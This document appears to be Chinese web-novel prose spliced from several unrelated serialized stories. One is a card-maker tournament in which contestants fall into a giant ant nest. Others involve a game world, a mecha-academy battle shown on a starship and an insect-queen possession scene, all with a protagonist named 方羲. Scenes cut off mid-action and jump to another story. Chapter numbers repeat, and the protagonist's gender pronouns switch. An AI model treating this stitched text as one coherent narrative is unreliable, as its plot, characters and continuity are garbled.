枝蔓被轻风吹起的声音。 小猫蹲在喷泉边上，咕噜咕噜喝水的声音。 “嘘。” “安静。” 万籁俱寂。 造梦家和猎人尚未来得及捕捉到更细微的声响，世界就在人偶师的轻声叮嘱之下，缓慢地陷入沉睡。 踏樱愣在原地，有些恍惚。 虽然隔着蒙眼带，什么也看不见。但白鸦的个人空间，就像是世外桃源一样。 天空的颜色一定是纯粹的蔚蓝色，大地一定没有遭遇过战火纷飞的摧残，也没有墙壁里藏着尸肉的监狱住宅。 “跟我来。” 看着手里新鲜出炉的又一颗F级异核，方羲也满意的点了点头。 拆蛋专家，果然从来没有让他失望过！ 几乎是同一时间，宋约等人的声音也响了起来：“拆蛋专家，名不虚传！” 方羲转头一看，正看到宋约等人从地上捡起一个窝窝头，撕掉沾了一些灰土的外皮之后，塞进嘴里。 方羲：“……” 【……吃狗粮的我见到过，吃真狗粮的我还真就是第一次见到。】 宋约只说道：“一开始学弟你说光是用这些窝窝头就能把变异动物诱捕过来的时候，我们其实是不信的，但是现在我们信了。” 所以这勾起的何止是变异动物肚子里的馋虫。 他们越发亢奋： “好了，把地方收拾一下，然后继续！” 【虽然但是，真的……有那么好吃吗？】 【F级旋风狗：关于这个问题，我觉得我是最有发言权的，但是我好像已经说不了了。】 一个小时之后，又有一只F级旋风狗从草丛里冲了出来。 【……】 【F级旋风狗：关于这个问题，我觉得我是最有发言权的，但是我好像已经说不了了，让我的后辈来吧。】 【F级旋风狗：……我的后辈好像也说不了了。】 【所以这个窝窝头居然真的能够引诱变异动物？】 【这还是我认识的窝窝头吗？】 【应该说如果不出意外的话，这种窝窝头只能诱捕到变异动物，毕竟绝大多数变异植物对血肉并没有什么兴趣。】 【那它不就和牧小少爷改良的诱捕卡的效果差不多了吗？】 【牧小少爷他们费劲心思才做到的事情，方羲只用一锅窝窝头就做到了……牧小少爷要是知道这件事情，怕不是会气坏？】 时间很快来到第十一天。 【陈贺队昨天有一名队员被淘汰了，他们都积分也来到了四百三十分。】 【钱善静队今天早上也有一名队员被淘汰了，不过他们的积分也来到了四百六十分。】 【最惨的要属孙建宏队了，他们前两天也动用了诱捕卡，结果一不小心招来了一只D级变异动物和两只E级变异动物，导致他们又损失了两名队员，现在他们只剩下两个人了，不过他们的分数也很漂亮就是了，只比钱善静队低十分。】 【再看牧诏队，在他们夜以继日的努力下，还差十分他们就能突破一千分大关了，这么一算的话，他是非常有希望打破历史记录的。】 【最后是方羲队，他们的分数比牧诏队低了一百多分——但这真的是同一场比赛吗？其他参赛选手一个比一个灰头土脸，身上的伤口一个比一个多，就连牧小少爷也不例外，结果方羲他们在干什么，他们在一边喝咖啡一边欣赏夕阳？？咖啡里面甚至还加了冰？？？】 但他们没有发现的是，这会儿方羲脸上的笑容其实并不多。 因为他心里隐隐有些不安。 这股不安来自于他脚下的这片土地。 他发现，这几天里，被拆蛋专家吸引过来的变异动物几乎都是从他们的正北方来的，没有一只是从他们身后的山林里出来的。 是他们身后的那片山林里没有变异动物吗？ 那又是什么导致的那片占地面积超过万亩的山林里连一只变异动物都没有。 直觉告诉他，这里面或许有问题。 他第一时间将这件事情上报给了大赛组委会。 但方羲心里的不安并没有消散多少。 不过也有可能是他想多了。 毕竟卡牌协会一直都很靠谱。 但是很快，他就顾不上这些了。 因为这两天他们诱捕过来的变异动物越来越少，宋约他们猜测可能是附近的变异动物都已经快被他们捕杀殆尽了，再加上考虑到比赛已经进入了尾声，安于森林公园里的变异动植物应该已经被捕杀了大半，所以他们也开始用起了诱捕卡！ 没想到的是，当天下午，他们的陷阱就一口气冲进来了四只F级变异动植物。 要不是方羲身上佩戴的防护卡足够多，恐怕他当场就被淘汰了。 第二天上午，虽然冲进来的变异植物的数量比之前少了一半，但是等级却都变成了E级。 一名队员为了救下宋约，当场被淘汰了。 下午的时候，更是直接冲进来了五只F级变异动植物。 方羲等人身上的伤口数量瞬间呈直线上升，这会儿他们别说是再一边喝冰咖啡一边欣赏夕阳了，盛咖啡的竹筒都被那些变异动物踩烂了。 【孙建宏：……风水轮流转？】 【看到他们这么惨的样子，我竟然觉得好欢乐。】 【让他们之前那么嚣张，报应啊！】 【而且他们的苦难才刚刚开始呢，那些变异动植物大概是被陈贺他们打怕了，现在都在往其他地方跑，其中就属他们这个方向的最多。】 但同时，方羲他们的积分也开始噌噌往上涨，很快就超过了牧诏队。 等到了第十五天晚上的时候，在又付出了两名队员被淘汰的代价之后，他们的积分正式突破了一千四百分大关，牢牢的占据了第一名的位置。 直到一个小时后，安于森林公园上空响起比赛结束的通告声，都没有队伍再超过他们。 【恭喜方羲，再下一羲！！！】 【没想到你押了牧诏，我押了陈贺，最后赢的人还是方羲。】 【不出意外的话，今年第十星系星火杯初赛的冠军也是方羲了。】 【以E级制卡师的身份，力压一众D级制卡师，拿下第十星系星火杯初赛的冠军，他这算得上是创造了历史了。】 【何止啊，你忘了，排在积分榜第二的是牧小少爷，他也是个E级啊！】 【从一开始我们就知道今年第十星系的参赛选手一定会给我们带来不小的惊喜，但在这之前，我们都认为这份惊喜会是由陈贺他们创造的，但没想到，最后登顶的会是一个从前我们连名字都没有听说过的方羲，还有一个我们根本就不看好的牧诏。】 【其实陈贺他们已经很不错了，天赋值高，明明是世家出身，但是却比普通能力者还要努力，他们值得获得更高的荣誉的。】 【更何况，他们在第一场和第二场比赛里，也都打破了历史记录。】 【只可惜了，他们运气不好，方羲和牧诏，他们哪怕只遇上一个，都不会在这场比赛里直接沦为路人。】 【我就没想这么多了，我现在只希望方羲他们能够在星火杯半决赛上拿出更优异的表现，洗刷掉第十星系身上的耻辱。】 【方羲加油，牧小少爷加油。】 “太好了，” 启明星第十区廉租小区里，谷大姨和谷池忍不住大喊了起来。 崇化大酒店里，被淘汰的参赛选手汇聚一堂。 “太好了。” 方羲队的三名参赛选手也忍不住大喊出声。 其他人见状，全都忍不住摇起了头，叹起了气。 还存活着的参赛选手也第一时间打开了手上的光脑。 看到那个新鲜出炉的排行榜之后，不少人直接就沉默了。 其中自然也包括牧诏。 他竟然……又输了。 他剩下的两名队友也不知道该怎么安慰他了。 “好歹我们的积分也超过一千分了……哈哈。” “我们这些普通人比不过人家老天爷追着喂饭的也很正常，是吧。” 也就在这个时候，空中又响起组委会的广播：“请参赛选手待在原地不要走动，负责接你们的悬浮车马上就到。” 听见这话，牧诏也只能先压下脑中杂乱的情绪。 哪知道下一秒，四周的山体突然猛烈的抖动了起来，紧跟着，无数藤蔓从他们脚下弹了出来，他们脚下的土地也直直向下坠去。 牧诏见状，下意识地护住了旁边的两名队友。 另一边，方羲也直接扑向了身旁的宋约，这才避免了他被一只突然从地底之下钻出来的狼狗大小的蚂蚁一口吞掉脑袋的下场。 【？？？】 【今年还有附加赛？】 【什么附加赛，出事了！】 “这里不是猎人的个人空间。”一夕一字一顿地说，“也不是造梦家的。” 踏樱心脏猛地一跳，努力克制自己的表情，立刻悄悄召唤出洋伞。一旦一夕有任何触及关键词的苗头，她就会当场打晕这名猎人，然后给她强行喂下失忆药水。 怎么一向不关注这些事情的一夕，脑子忽然灵光起来了？ “我去过傀儡师的个人空间，他们的世界和这里完全不同，而且你又不是傀儡师。”一夕认真地说，“你骗我，这里明明是失乐园的隐藏地图！” 方羲：“……(゜ロ゜) ” 一夕执拗地说：“白乌鸦，虽然我还不太了解你是什么样的人。但既然我们已经是一个队伍的伙伴，那你不能总是糊弄我，我不太喜欢……这样。因为你不想向黑天鹅上报新发现的区域，才这么说的吗？你可以告诉我，我也会替你保密的。” 方羲：“……(゜ロ゜) ” 我没骗你啊。 这里就是我的【个人空间】。 第 138 章 第 138 章 一夕坚持认为方羲在骗人，而方羲坚持表示这是实话，二者僵持不下，最后在踏樱的阻拦下，这场诡异的争执不了了之。 方羲从背包取出一盏自动漂浮的手提灯，带着二人赶路，先是来到某个全是蛋的宝箱，揣走十颗圆滚滚的蛋，然后把藏宝图交给踏樱，由她指挥一夕挖宝。 “这里下面的一百米，有一个。” “左边，挖五十米，三个。” “这里……咦？就在地面上，不用挖了。” 一夕勤勤恳恳地举起镐子或铲子，任劳任怨，指哪挖哪，堪称本世界最老实听话的挖土工。 至于方羲……方羲跟在二人的后面，游手好闲，什么也不干，只负责洗手和开箱。 经过长达六小时的努力，三人小队一共挖到了十八个宝箱。其中有十三个的宝箱都标记着“777”的数字，里面大多都是钞票、金币、银币、还有钻石等通用货。而且她每一次在被方羲取走遗物的时候，都会发出惊恐的、恋恋不舍的尖叫。 方羲看她可怜，决定每一个宝箱都给她留下一种币值最小的钞票，或者一枚小小的铜币。 777号宝箱们：“……” 等到所有人都反应过来的时候，偌大一个安于森林公园的东北部已经变成了一个深不见底的大坑。 大赛组委会的人直接疯了，无数星舰和悬浮车像火箭一样冲向安于森林公园。 很快，第十星系的执政官也赶到了现场。 “这到底是怎么一回事？” 卡牌协会的负责人艰难说道：“事情已经查清楚了。 ” “那片山区下面不是埋藏着一座大型原始矿吗？” 执政官点了点头。 这件事情不止他们知道，第十星系所有的市民都知道。 原始矿是制作空白卡牌的基本原材料之一，属于珍惜资源的一种。 安于森林公园下面的那座原始矿更是第十星系的战略储备矿产，如非必要，第十星系不会主动去开采它。 卡牌协会的负责人：“现在，它已经被挖空了？” 执政官：“你说什么？” 卡牌协会的负责人亮出了一张照片。 “罪魁祸首就是它。” 执政官定睛一看。 照片里赫然正是那只差点把宋约的脑袋啃了的狼狗大小的蚂蚁。 卡牌协会的负责人：“这是皇蚁。” “皇蚁？” 执政官从来没有听说过这种变异动物。 卡牌协会的负责人：“它是雷蚁的进化种。” “联盟科学院在半个月前刚刚发现的新品种。” 但凡他们提前两天看到科学院发布的那条公告，事情也不会变成今天这个样子。 “它们以原始矿为食。” “从那座大坑的面积来看，它们至少已经在那座原始矿里存活了近百年。” 因为原始矿正好能够遮蔽变异动植物的磁场，所以这么多年来，他们都没能发现它们的存在。 “一个月前，我们不是从那片山区搜查出了一个C级雷蚁群吗？” “我们有充分的理由怀疑，我们当时发现的其实是皇蚁群的踪迹——因为地下的原始矿有一部分被它们挖穿了，导致它们的气息泄露了出来。但是它们的智商很高，于是把属下的一个C级雷蚁群推了出来。” “也就是说，那些皇蚁群的实力至少在A级以上。” 这也是为什么，他们投放进安于森林公园里的变异动植物不敢太靠近那一片的主要原因。 它们不是误以为那里还盘踞着一个C级雷蚁群，而是察觉到了那个皇蚁群的气息。 “我们怀疑那个皇蚁群的蚁皇现在正处于蜕壳期，这几天那些变异动植物都不怕死的往那片山区赶就是最好的证据。” 变异动物处于蜕壳期或者是哺乳期正是它们最虚弱的时候，那些低级变异动植物都没什么脑子，想凑上去冒个险，是再正常不过的事情。 这也意味着那个皇蚁群里的高阶变异蚂蚁现在肯定守护在蚁皇身边。 这原本是最好的救出那些参赛选手的机会。 “那条地下暗河和地面至少隔了……五百米远，导致我们现在根本接收不到参赛选手的光脑信号，而且那条地下暗河地势错综复杂，这又给我们的搜索增添了不小的难度。” 在说到五百米这三个字的时候，他特地顿了顿，还加重了语气。 所以他的言外之意分明是，那些参赛选手从五百多米高的地方摔下去，恐怕凶多吉少。 听见这话，执政官的声音也带上了一丝颤抖：“有多少参赛选手掉下去了？” 卡牌协会的负责人：“还好这已经是初赛的最后一场，而且事故发生地只是安于森林公园的一角，所以掉下去的只有十几个选手。” “包括排名第一的方羲，宋约。” “钱家的钱善静。” “陈家的陈贺和陈孝文。” …… “还有牧家的那位小少爷牧诏。” 听到最后一句，执政官两眼一黑。 你管这叫还好？ 这些人要是能救回来还好，这些人尤其是那几位大少爷和大小姐哪怕是一个出了事，他们这一次都要吃不了兜着走。 启明星廉租小区，看到那些驭兽师带领着他们的驭兽一个接一个的跳进大坑里，却迟迟没能救上来一个参赛选手，谷大姨再也忍不住了，直接就冲了出去，顺便把找上门来想要耀武扬威的赵老婆子撞进了旁边的臭水沟里。 第一中学。 刚刚回到宿舍里的冯晋也忍不住握紧拳头，重重的挥了挥。 谁能想到呢，上一秒还意气风发的方羲等人，下一秒就倒了大霉，反而是他这个运气不好，没能冲进前二十名的，阴差阳错躲过了一劫。 他甚至忍不住祈祷，祈祷方羲千万要死在这场事故里。 这样一来，他就再也不用担心他顶替了方羲的事情会被人发现了。 对了，还有牧诏。 他也该死，谁让他抢走了他欧阳震华的学生的位置。 想到这里，冯晋的拳头越握越紧，神情也越来越兴奋…… “学弟，学弟？” 听到这一阵阵急切的声音，方羲慢慢睁开了眼睛。 紧跟着，他就用力的咳了起来。 直到将喉咙里的泥水全部咳了出来。 宋约顿时松了一口气：“学弟，你没事真是太好了。” 四周的石头散发着荧光，方羲勉强能看清楚他的样子。 最主要的是，就在他们脚边，是一条河流，河岸已经堆满了一摊摊肉泥，依稀可以认出，它们和之前试图偷袭宋约的那只狼狗大小的蚂蚁是同一种生物。 他这才想起来，刚才地面突然塌陷，他前脚救下宋约，后脚就和他一起掉了下去。 顺着他的视线看过去，宋约心有余悸：“还好，还好我们剩下的防护卡足够多，要不然我们现在就跟它们一样了。” “不过我们现在的情况好像也没有好到哪里去，学弟，这下面很有可能存在着一个变异蚁群，它们之中肯定也有和我们一样的幸存者。” “学弟，我们现在该怎么办？” 听见这话，方羲第一时间摸向自己的背包。 还好，卡笔和剩下的几十张空白卡牌什么都在。 而后像是想到了什么，他又打开了光脑。 宋约：“我已经试过了，求救信号根本发不出去。” 方羲当即转头看向下方的时间：“八点四十五分。” “比赛是在七点结束的，也就是说，我们掉下来之后，跟着水流飘了一个半小时。” 他把手放进水里。 这水速至少是普通河流的水速的两倍。 “我们现在至少已经被冲出了二十公里。” 他说：“我们现在有三个选择，一个是留在这里，等待救援，但是谁也不知道到底是救援先到，还是变异蚁群先到。” “一个，是顺着地下暗河往下走，说不定能找到出口，但是我们手里的卡牌有限，而且谁也不能保证前面到底还有没有路。” “一个，是往回走，和救援的人接头，但和第一个选择一样，我们可能先撞上蚁群。” “你选哪个？” 宋约想了想，而后咬牙说道：“我选第三个。” 方羲：“我也是这么想的。” 显然，他们都不是喜欢坐以待毙的人。 两人当即站起身来，相互搀方着向前走去。 然而没走多远，前面就没有路了，他们只能下水，往上游去。 又往前游了几百米，一只还没有死透的蚂蚁突然跳起来咬向方羲。 好在方羲的反应足够快，第一时间掏出一张炎爆卡扔了出去。 宋约也第一时间钻进了水里。 砰！ 等到他们再从水里钻出来的时候，那只蚂蚁又变回了一具尸体。 两人不约而同的松了一口气，然后继续向前游去。 半个小时后，他们终于又看到了陆地。 两人废了九牛二虎之力，才终于爬了上去。 宋约：“我们先休息……” 然而不等他把话说完，他的嘴巴就突然被方羲捂住了。 不等他反应过来，一阵悉悉索索的声音就传了过来。 那声音绝不是人类的脚步声，而且对方的数量显然不少。 宋约的心脏瞬间就提到了嗓子眼。 他们现在该怎么办？ 哪知道就在这个时候，方羲的嘴巴也被捂住了。 紧跟着他们就被拖进了一条石缝里。 然后他们就看到一个泥人推着一大块石头，将那条缝隙挡的严严实实。 紧跟着，另外两个人捧着一堆腥臭至极的东西，就往他们脸上抹去。 宋约几乎是用尽了全力，才没有让自己呕吐出来。 而也就在这个时候，外面的悉索声突然停了。 紧跟着一阵刺耳的声音响了起来。 那声音断断续续，好一会儿才消停下去。 紧跟着，那阵悉索声才又响了起来，而且越来越远。 为首的人说道：“好了，他们走了。” 那些人这才松开了方羲两人。 方羲定睛一看，为首的那人可不正是钱善静。 除她之外，还有陈家的陈孝文等人。 以及那位靠坐在墙角虽然同样一身狼狈，却能叫人一眼就认出来的牧小少爷。 系统警告和被禁言的多了，交流区逐渐恢复了清净，反而涌出了不少与前往画风完全相反的评论，发言者全部来自排名更高的新晋玩家。 至于待在数据室的宋白玉，脸色却没有丝毫好转，不耐烦地叩击着桌面，一声一声地响。 “秦队，你说怎么还有新晋玩家这么没脑子呢？”宋白玉说，“不公示就是不公示，难道要非要怼在他们脸上说【不行不行，告诉你们会给她带来麻烦】吗？真是一帮讨厌的小屁孩……” 正好路过的许微澜，被宋白玉阴阳怪气的语气逗乐了，反呛了一句：“哟，最受欢迎的宋队，那些新晋玩家知道你在背地里这么吐槽他们吗？” “哈？我这叫就事论事。” “严重警告一次。”秦淮月平静地说。 宋白玉瞬间乐了，立刻兴致勃勃地撰写一份警告信，给那些不成器的新晋玩家逐个发了一遍，这次的警告将会记入他们的公民档案。 “你不用总是关注这些细枝末节的事情。”秦淮月看了宋白玉一眼，忽然说，“她看得很远，根本不会在乎这些无关紧要的声音。” “……” ——我也是个会哭会笑的普通人。 ——对不起，我也有我难以言说的困境。 “不。” 宋白玉无聊地转了一会匕首刀，忽然转过头，脸上挂着一抹讥诮的笑意，轻描淡写道：“秦队，看来你得再多了解她一点。” “因为她会在乎的。” 第 139 章 第 139 章 方羲睡醒了。 方羲洗漱，吃早饭，喝冰镇柠檬汽水。 方羲想了想，又去了一趟洗手间，在昨天换下但还没洗的衣服口袋里，翻找了一下。 可恶，果然没有。 本来她还想把昨天捡到的【500年前的光脑】，拿来跟黑天鹅送的新光脑对比一下，看看哪个更好用。 方羲忽然想到什么，又跑回自己的储物室，打开某个收纳柜。 一看，上次的奇怪日记本，还完完整整地躺在原地。方羲从头到尾翻了一遍，发现里面的文字没有丝毫添加删改的痕迹。自己当初写的“已阅”还在，没有被日记本的主人阅读和回复。 方羲合上日记本，感觉有点失望。 但她没有在这种小事上深思太多，因为人类总是越思考越痛苦，不如不思考。 方羲和往常一样，躺进全息仓，再次登录游戏。 方羲在塔洛星帮老彼得先生处理好了维修店的事宜后，老彼得先生送给了她一些矿星特产的金属材料。 前往跃迁航班的路上，又转给了她一笔钱，数额不算太大，却能够让她在刚去谕光星的时候，不用太拮据。 她知道这是老彼得先生一点含蓄的关怀，维修店的事情本来也不麻烦，但可以让她不用因为收下这笔钱有压力。 前往跃迁航班的路上，方羲有一种离家的感觉。 坐在透明金属搭建的全息投影等候厅里，看着悬浮光屏闪烁的航班信息，她脑海中不由自主想到，担任前锋的第一次执勤。 教导她的老师方伽，一边严厉的警告她注意事项，一边又在她的背包中放置了所有需要的东西。 身处危机四伏的污染区，方羲每发现一个正好用到的物品，都是一次意外的惊喜。 她仰躺在座椅上，顶部的透明金属投影一帧帧的星空，做成一副星轨流转的画面，翠绿的瞳孔中闪过白光。 她忍不住想，老师会想念她吗，地下城的新任前锋会比她做的更好吗，异种还会攻击地下城吗。 他们会等到污染除尽的那一天吗，还有她的机甲，他们会找到她的机甲吗？那把能跟她精神共振的长枪，会遇到另一个主人吗？ 察觉到思维发散太远，方羲突然笑了笑。 不怀念过去了，现在她有新的路要走。 “跃迁航班TLCD9541即将启动，请尽快进入审核通道。” 等候厅的提示音想起，方羲收敛好自己的思绪，跟随指示通过审核，踏上跃迁航班。 跃迁飞船停泊在特殊的空间穿梭轨道，星舰的一面是一扇巨大的透明窗，另一面是全息投影光幕。 飞船启动，方羲的位置正在透明窗旁边的乘客舱位，隧洞一样的光轨泛着能源材料特殊的蓝光。 透过轨道，漆黑的星河深邃无比，偶尔有来自不明引力吸引的飞行物朝这里飞来，还没靠近，只见星轨外层的特殊屏障，闪爆出一团电光，一道灼目的光线射出，瞬间将其化为齑粉。 方羲有些惊奇的看着这一幕，视线在群星之间查找，看还有没有这样的奇观。 人群随之喧闹起来，对面的全息投影打开，响起与沉闷乘客舱的氛围格格不入的炮火声。 方羲耳边听到枪炮声音，眼神闪过一抹锋芒，她浑身的肌肉瞬间紧绷起来，在包裹严实的乘客舱上内，调整出一个最快暴起战斗的姿势，鹰眼立刻定位到发声点。 随着全息投影的完全展开，方羲蹙起的眉宇升起一抹疑惑，随后反应过来，只是虚假的投影。 她慢慢放松自己紧绷的身体，余光不自觉打量了一下周围乘客舱内的人，见对方兴致勃勃的盯着投影，丝毫没有注意到她的行为，顿时松了一口气。 不过方羲注意到，乘客舱都不约而同的调整角度，保证自己能够注视到投影画面。 投影的画面一片漆黑，不见半个人影，只有极其微弱的光，照出似乎是一个山洞内，不远处炸开一声声枪炮响声。 山洞窸窸窣窣的响了一会，紧接着一个粗重的呼吸音出现，一抹光柱扫过镜头，照出崎岖的石壁。 “呼，我怎么听着，他们还在打啊？” 男声压低，用微弱的气音道。 有人用金属敲击了一下他的机甲，无声催促着，男生朝前走了几步，终于，机甲的能源灯照亮了石洞，灰黄的石壁上挂着浆糊一样的，绿色的粘液，上面分布着一些白斑，看起来有点作呕。 方羲听到另一个声音yue了一声，好像捏着鼻子，“我要吐了，要不我们出去跟他们打一场吧，这鬼虫分泌物的味道，我真的要吐了。” “不太对劲。” 沉静的女生安抚了队员的战斗情绪。 “烛荆府淘汰了三个人，三院哪有这么厉害。” “指挥”，最开始的男声道，“要不我去看一眼？” “那我们更要去了”，要吐的男生继续用他厚重的鼻音道：“三院和其他队伍联手，烛荆府出局，他们还能拿到能量监测仪器，到时候积分翻倍，我天。” 女生没有立刻说话，过了一会，才听见她开口：“的确，我们先观望，把那个虫子引过来，让他们斗一斗。” “什么？” 带着鼻音的声音有些绝望：“我还要进那个毒窝？！” 方羲看见一架机甲离队，朝他们来时的方向离开。 乘客舱里溢出了其他人的交谈声，内容和她看到的不太一样，方羲往影像下方看了看，才发现有一个自主选择面板，可以用乘客舱操作更换。 她刚才的观看角度是星际六院，星网上一般俗称他们雅克德罗。 这种别称是针对七所出身于十一区边境军的特殊寄托，这七所学院被称为星际军事直属院校，隶属于边境军十一区管辖，是星际联盟最顶尖的军区新血。 星网为了区分星际直属和其他星环的普通军校，用这些军校内部具有特色的建筑和地标指代他们。 就好像七院被称为烛荆府。 眼看着六院准备退出地窟，方羲隐隐有些好奇自己即将就读的学校，她调换视角到了七院。 全息影像瞬间变幻，一个巨大的石洞内，两方队伍正在对峙。 七院一方只有两人，其中一人在前，手握长炮，是七院输出金宇，被他挡在背后的机甲是七院分析师。 另一方人数众多，领队在前，看着对面负隅顽抗的输出。 方羲调节视角，确定是对面和七院对峙的两支队伍分别是三院和一院。 “有人来了。” 一院队伍里，一架深黑底色，金线在手臂上画出荆棘花的机甲突然收起了武器，朝旁边看了一眼。 三院的墨蓝色机甲抬头，朝周围扫了一眼，方羲看到石洞上方有几个洞口，其中有一个是六院之前待的地方。 墨蓝机甲的驾驶者声线沉敛：“速战速决。” 一院黑色机甲里轻笑一声，随后有些调笑的道：“奉陪喽。” 一院指挥声音一冷：“百里，田然。” “明白”，一院两位输出的声音响起。 两架黑色机甲疾驰飞出，方羲还没看清机甲长什么样子，就见到一道影子凌空。 对面，七院那位孤军奋战的输出金宇，在这不到一秒的时间里，捕捉到了机甲停顿的位置，抬手就是一炮。 包着巨大弹药的枪炮喷出，对方弹射炮弹，一团黑色能量撞上炮火。 枪炮顿时哑火。 “我说”，半空的黑色机甲里响起清脆的女声，携带吞噬炮的百里薇道：“别挣扎了，交出监测仪器，然后走，不成吗？你们出去说不定还能杀几个能量体，拿点积分呢，都折在这里，亏大了。” 对面的金宇没说话，倒是被他护在身后的七院分析师，扛起了自己的枪炮：“想什么呢，打了半天还做白日梦，搞快点打，少废话。” “金宇，揍她，让她知道，反派死于话多。” 七院输出金宇一声不吭的架炮，朝着对方的位置接连轰出几炮。 在他身后的七院分析师枪炮瞄准，轰向正朝她的方向奔袭而来的田然。 两方对轰，看的远处黑色鎏金机甲中的一院指挥蒋天懿轻啧一声。 “烛荆府这个分析师真是有够棘手的，林队，你们也出个人啊？” 另一边的三院指挥林风池扫了眼身后，他身后的队伍其他三人围绕中央的分析师机甲，呈三角保护的姿态，时刻防备其他人。 “灼阳。” 三角形前方，叫做灼阳的三院输出，从背后抽出一把光刀。 方羲看到蒋天懿哼了几声不在调上的乐音，他后面队伍中，同样黑色的机甲轻推着分析师向前，进入领队的保护范围，而后自己朝着三院分析师靠近。 看来，这两个结盟的学校，好像也不是那么多坚不可摧啊，方羲看着一院暗戳戳准备下黑手的动作，如此想到。 在石洞中，看似两方，实则三方的博弈进行时，方羲敏锐的听到了全息投影传来，自山洞间内的细碎声音。 根据声音的位置，方羲目光看向投影的其中一个洞口。 而石洞中央，三院输出灼阳的加入让七院的两人落入下风。 就在一院的机甲接近三院分析师时，他手上上下掂量的枪炮突然停顿。 只听见蒋天懿哼歌的声音一停，肃声呵道：“动手。” 一院输出的枪炮对准三院分析师，灼阳正在和田然围攻七院分析师，听到后方炮火，回头，看见这一幕就想撤身回援。 然而田然躲开七院分析师的枪炮，反手一挥，“鬼鱼，拖住。” 一个巨大的鱼类虚影在她背后闪烁，从虚影中伸出数根触手，缠住灼阳的机甲。 七院分析师见状，调转炮口朝向百里，将金宇从纠缠的战局中拉出来。 两人迅速退到角落。 战场转眼换人，一院和三院烽火相激，打成一片。 而同时，石洞上方，一声沉重的迈步，似乎要把石洞踩裂一样。 伴随着一根细长的尖刺从石洞中探出，亮着灯光的六院机甲闪身而出，宛如解放般的大口呼吸空气：“终于活过来了，憋死我了。” 可惜无人注意他的声音，在他之后，一个体型庞大的犀牛样怪物从洞口扑了下来。 洞口的高度让它重重砸落，在石洞里砸出一个小坑。 犀牛粗大的鼻孔喷出两团红色的气浪，翻滚着从地上爬起来，朝着周围的人群张开獠牙。 一声震鸣的兽吼声响彻地窟。 “各位玩家，晚上好！” “【非专业收藏家】向您发出了世界级副本邀请！” “收藏家想要制造一台万能投影机，但碍于核心材料的不足，所以急需各位玩家的倾力相助！” “您在副本中收集到的一切材料，必须全部上交，所有都归收藏家所用，切勿藏私！当然，收藏家相信善良可爱的玩家们一定不会这么做！” “与之相对的，您将会收获【收藏家敷衍赠予的纪念品x1】！” 阅读完天幕文字的玩家们，纷纷面露古怪，面面相觑，想说点什么，但又实在不好说出口。 【造梦场开启倒计时：2天23时58分钟】 “在倒计时结束之前，你们有充足的时间来思考是否进入收藏家的造梦场……又或者说，准备好您的队友和物资！” “总而言之，让我们一起来帮助可怜又无助的收藏家吧！” 第 140 章 第 140 章 浮空岛又掀起一阵新的狂潮。 “投影机……投影机……”林镜子喃喃道，死死地盯着屏幕，忽然高声喊道，“找到了！你们快看！” “用处是投影锚点？”疯苹果惊愕地说，“收藏家想做什么？” 毕竟，收藏家曾经在环星前线建立锚点的事迹，一切在众人眼里还历历在目。 另一边，难得和方羲聊上天的宋白玉，已经顾不上工作，悄悄摸鱼，疯狂敲字输出聊天。 【社牛不想说话】：收藏家，你要的投影机是干嘛的？是……想投影什么特别重要的锚点？ 【非专业收藏家】：什么锚点？ 【社牛不想说话】：啊？投影机难道不是用在这种地方吗？ 【非专业收藏家】：？你仔细想想，游戏里那么多食物、衣服、材料……但是都不能用在现实！多没意思，要是我有投影机，我就可以天天投影食物！这不就省了一笔生活费吗？ 伴随着方羲的话语，世界仿佛在这一瞬间停止运作。 连带着希蒙也愣了几秒，双眼一时失去焦距。 不过，方羲虽然凭借技巧在短短几分钟的交手压制住希蒙，她的手还是无法克制地发颤。 人类和虫族的身体永远存在无法逾越的沟壑。 但因为方羲临时获得这具身体的掌控权，“她”体内的虫族基因徒然复苏，此刻正在疯狂吞噬最后残余的人类细胞。 临时寄宿在达格玛身体上的精神力会造成“同化”的现象。 方羲皱了皱眉头，看来她不能在这个地方停留过久。 倒在地上的雄虫忽然发生某种奇异的变化，正常的双眼微微瞪大，几乎是带着不可置信的慌乱，它们和额上的第三眼进行交换。 黑膜红眼小心翼翼地凝望着方羲。 希蒙原本高高在上的姿态忽然倒塌，他带着委屈地问：“真的很难看吗？” 倒像一个思维没有成熟的幼虫。 方羲没有立刻回答，雄虫又积极主动地说：“我可以换一双，您喜欢什么样的颜色和形状？” 方羲：“……？” 人格分裂吗？方羲难得奇怪地想。 ……但是总感觉有些违和。 方羲站起来，漫不经心转头瞥了一眼背后的黑影，结果它微微颤抖了一下，迅速化作腐烂泥水消失。 方羲在心里大致预估了一下，这具身体只能继续撑过几分钟，否则就会彻底“同化。” 那将意味着方羲变相杀死了达格玛。 不过等她的意识离开之后，原本暴躁的虫族基因应该会重新陷入沉寂。 好麻烦……方羲本以为她可以停留很久。 方羲面无表情，再度操控达格玛的力量释放出尖锐锋刃，毫不留情穿透希蒙的四肢筋骨。 红瞳雄虫似乎没感受一丝疼痛，反倒露出某种热切迷恋的享受表情，但因为方羲一直情绪平平，他心底仍然生出几分失去安全感的惶恐。 方羲没把希蒙的情绪状态放在心上，反倒觉得有些奇怪。 怎么会这么弱？ “我还以为你们会很难解决……”方羲忽然喃喃自语。 她在幼年期时，总觉得这些成年虫族强大得如高山不可逾越，可现在她却成为主宰旧日仇敌的刽子手。 唯有此刻方羲才真正发觉自己好像有什么地方不太一样了。 “取消之前的决议。”方羲以一种不容置喙的口吻道，“你应该知道我指的是什么。” 方羲在命令中尝试性施加了精神力的控制。 也许达格玛的精神力不见得能真正颠倒虫族的底线思维，但方羲的本体现在正处在星航上，大面积的意识混乱也可能会给她造成麻烦。 “好的。”希蒙似乎没有一丝抵抗的意志。 “这里是哪个星球？”方羲问。 希蒙立刻报出一连串的星球代码。 方羲坐回王座之上，合上眼睛，意识离开了这具身体。 时间不够，但她下次会再过来一次。 禁锢住希蒙的锋刃也渐渐消失，伤口极快地愈合。他近乎痴恋地望着王座上的黑发女性，眼神像是某种黏湿的危险蛇类。 额上沉寂的眼珠也慢慢恢复意识，开始和“他”争夺身体的主权。 希蒙左手暴出利爪，不耐烦地直接刺进自己的额头，把那只疯狂挣扎的灰色眼睛血淋淋地挖出来。 【我和你是一体的！】灰色眼珠竭斯底里道。 他没有说话，随手把眼珠塞进口袋里。额上的伤口在缓慢生出新的血肉，最终如同新生一般光洁如雪。 不同的是，原本被第三眼占据的眉心上方，此刻却有一个天然而成的怪诞图案。 如果其他虫族在场，便会发觉这个图案与那天在R27星出现的女王图腾有些许相似之处。 希蒙不舍地又看了一眼黑发女性，乖巧又悄无声息地转身离开这个房间。 她在休息。 这是她的领地。 